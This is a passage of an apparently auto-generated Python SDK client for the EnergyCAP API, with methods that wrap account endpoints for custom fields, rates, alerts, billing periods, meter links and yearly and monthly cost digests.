client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_account_ud_fs.metadata = {'url': '/api/v3/account/{accountId}/udf'}
def get_account_udfs(
self, account_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all user defined fields / custom fields for a particular
account.
:param account_id: The account identifier for which user defined field
/ custom field values are being retrieved
:type account_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UDFFieldChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_account_udfs.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UDFFieldChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_account_udfs.metadata = {'url': '/api/v3/account/{accountId}/udf'}
def get_accounts_udfs(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves all user defined fields / custom fields for all accounts.
:param filter:
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AccountUDFResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_accounts_udfs.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[AccountUDFResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_accounts_udfs.metadata = {'url': '/api/v3/account/udf'}
def get_account_rates(
self, account_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all rates for a particular account.
:param account_id: The account identifier for which rate values are
being retrieved
:type account_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AccountRateResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_account_rates.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[AccountRateResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_account_rates.metadata = {'url': '/api/v3/account/{accountId}/rate'}
def get_account_templates(
self, account_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all templates for a particular account.
:param account_id: The account identifier for which template values
are being retrieved
:type account_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AccountTemplateResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_account_templates.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[AccountTemplateResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_account_templates.metadata = {'url': '/api/v3/account/{accountId}/template'}
def get_account_alerts(
self, account_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all alerts for an account.
:param account_id: The identifier for the account
:type account_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AccountAlertResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_account_alerts.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[AccountAlertResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_account_alerts.metadata = {'url': '/api/v3/account/{accountId}/alert'}
def create_account_alert(
self, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates an account alert.
:param account_id: The identifier for the account to create alert is
on
:type account_id: int
:param body: Data representing the account alert being created
:type body: ~energycap.sdk.models.AccountAlertRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccountAlertResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AccountAlertResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_account_alert.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'AccountAlertRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccountAlertResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_account_alert.metadata = {'url': '/api/v3/account/{accountId}/alert'}
def get_account_alert(
self, account_id, alert_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves an alert for an account.
:param account_id: The identifier for the account the alert is on
:type account_id: int
:param alert_id: The identifier for the alert to return
:type alert_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccountAlertResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AccountAlertResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_account_alert.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'alertId': self._serialize.url("alert_id", alert_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccountAlertResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_account_alert.metadata = {'url': '/api/v3/account/{accountId}/alert/{alertId}'}
def delete_account_alert(
self, account_id, alert_id, custom_headers=None, raw=False, **operation_config):
"""Deletes an account alert.
:param account_id: The identifier for the account the alert is on
:type account_id: int
:param alert_id: The identifier for the alert to delete
:type alert_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_account_alert.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'alertId': self._serialize.url("alert_id", alert_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_account_alert.metadata = {'url': '/api/v3/account/{accountId}/alert/{alertId}'}
def update_account_alert(
self, account_id, alert_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Updates an account alert.
:param account_id: The identifier for the account the alert to update
is on
:type account_id: int
:param alert_id: The identifier for the account alert to update
:type alert_id: int
:param body: Data representing the account alert being created
:type body: ~energycap.sdk.models.AccountAlertRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccountAlertResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AccountAlertResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_account_alert.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'alertId': self._serialize.url("alert_id", alert_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'AccountAlertRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccountAlertResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_account_alert.metadata = {'url': '/api/v3/account/{accountId}/alert/{alertId}'}
def get_default_billing_period(
self, account_id, start_date=None, end_date=None, custom_headers=None, raw=False, **operation_config):
"""For a given accountId, startDate and endDates for a bill get a billing
period recommendation
The billing period will be in YYYYMM format YYYY represents the 4 digit
year and MM is the two digit month 01 for Jan to 12 for Dec.
:param account_id: The identifier for the account for which bill is
being created
:type account_id: int
:param start_date: The start date of the bill
:type start_date: datetime
:param end_date: The end date of the bill
:type end_date: datetime
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SingleValue or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SingleValue or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_default_billing_period.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if start_date is not None:
query_parameters['startDate'] = self._serialize.query("start_date", start_date, 'iso-8601')
if end_date is not None:
query_parameters['endDate'] = self._serialize.query("end_date", end_date, 'iso-8601')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SingleValue', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_default_billing_period.metadata = {'url': '/api/v3/account/{accountId}/billingPeriod'}
def move_account(
self, parent_cost_center_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Move list of accounts to be under parentCostCenterId.
:param parent_cost_center_id: The identifier for the new parent
costCenter
:type parent_cost_center_id: int
:param body: List of accountIds to move under the parentCostCenterId
:type body: list[int]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.move_account.metadata['url']
path_format_arguments = {
'parentCostCenterId': self._serialize.url("parent_cost_center_id", parent_cost_center_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[int]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
move_account.metadata = {'url': '/api/v3/parentCostCenter/{parentCostCenterId}/account'}
def edit_account_code_version(
self, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""
:param account_id:
:type account_id: int
:param body:
:type body: ~energycap.sdk.models.AccountCodeHistoryRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccountCodeHistoryResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.AccountCodeHistoryResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_account_code_version.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'AccountCodeHistoryRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccountCodeHistoryResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_account_code_version.metadata = {'url': '/api/v3/account/{accountId}/codeversion'}
def process_account_custom_action(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Fires a custom account action. Custom account actions are setup as
webhooks.
:param body:
:type body: ~energycap.sdk.models.WebhookCustomAction
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WebhookLogDetailsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WebhookLogDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.process_account_custom_action.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'WebhookCustomAction')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WebhookLogDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
process_account_custom_action.metadata = {'url': '/api/v202211/account/customAction'}
def download_account_custom_field_file(
self, account_id, udf_id, custom_headers=None, raw=False, **operation_config):
"""Download file for an account custom field.
:param account_id:
:type account_id: int
:param udf_id:
:type udf_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.download_account_custom_field_file.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'udfId': self._serialize.url("udf_id", udf_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
download_account_custom_field_file.metadata = {'url': '/api/v202105/account/{accountId}/udf/{udfId}/download'}
def set_account_audit_exclusion(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Enable or disable Accounts from audits.
:param body:
:type body: ~energycap.sdk.models.AccountAuditEnable
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.set_account_audit_exclusion.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'AccountAuditEnable')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
set_account_audit_exclusion.metadata = {'url': '/api/v202104/account/auditEnabled'}
def get_account_actual_yearly_list(
self, number_of_years=4, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by account for a given number
of years- Result includes cost, use, unit cost on an yearly basis. It
also includes commodity level break up.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AccountDigestActualYearlyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_account_actual_yearly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[AccountDigestActualYearlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_account_actual_yearly_list.metadata = {'url': '/api/v3/account/digest/actual/yearly'}
def get_account_actual_yearly(
self, account_id, number_of_years=4, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by account for a given number
of years- Result includes cost, use, unit cost on an yearly basis. It
also includes commodity level break up.
:param account_id: The account to retrieve data for
:type account_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 4
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccountDigestActualYearlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.AccountDigestActualYearlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_account_actual_yearly.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccountDigestActualYearlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_account_actual_yearly.metadata = {'url': '/api/v3/account/{accountId}/digest/actual/yearly'}
def get_account_actual_monthly_list(
self, number_of_years=2, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by account for a given number
of years- Result includes cost, use, unit cost on a monthly basis. It
also includes commodity level break up.
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 24 months
:type number_of_years: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AccountDigestActualMonthlyResponse]
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_account_actual_monthly_list.metadata['url']
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[AccountDigestActualMonthlyResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_account_actual_monthly_list.metadata = {'url': '/api/v3/account/digest/actual/monthly'}
def get_account_actual_monthly(
self, account_id, number_of_years=2, custom_headers=None, raw=False, **operation_config):
"""Retrieves rolled up actual billing data by account for a given number
of years- Result includes cost, use, unit cost on a monthly basis. It
also includes commodity level break up.
:param account_id: The account to retrieve data for
:type account_id: int
:param number_of_years: Number of years of data to return includes the
current year - Defaults to 24 months
:type number_of_years: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: AccountDigestActualMonthlyResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.AccountDigestActualMonthlyResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_account_actual_monthly.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('AccountDigestActualMonthlyResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_account_actual_monthly.metadata = {'url': '/api/v3/account/{accountId}/digest/actual/monthly'}
def create_account_meter(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Links an account and meter together
Meters must be linked to an active account to be usable in EnergyCAP
Once an account and meter are created individually, they must be linked
with this API.
:param body: Data representing the account and meter being linked
:type body: list[~energycap.sdk.models.AccountMeterRequest]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.AccountMeterResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_account_meter.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[AccountMeterRequest]')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[AccountMeterResponse]', response)
if raw:
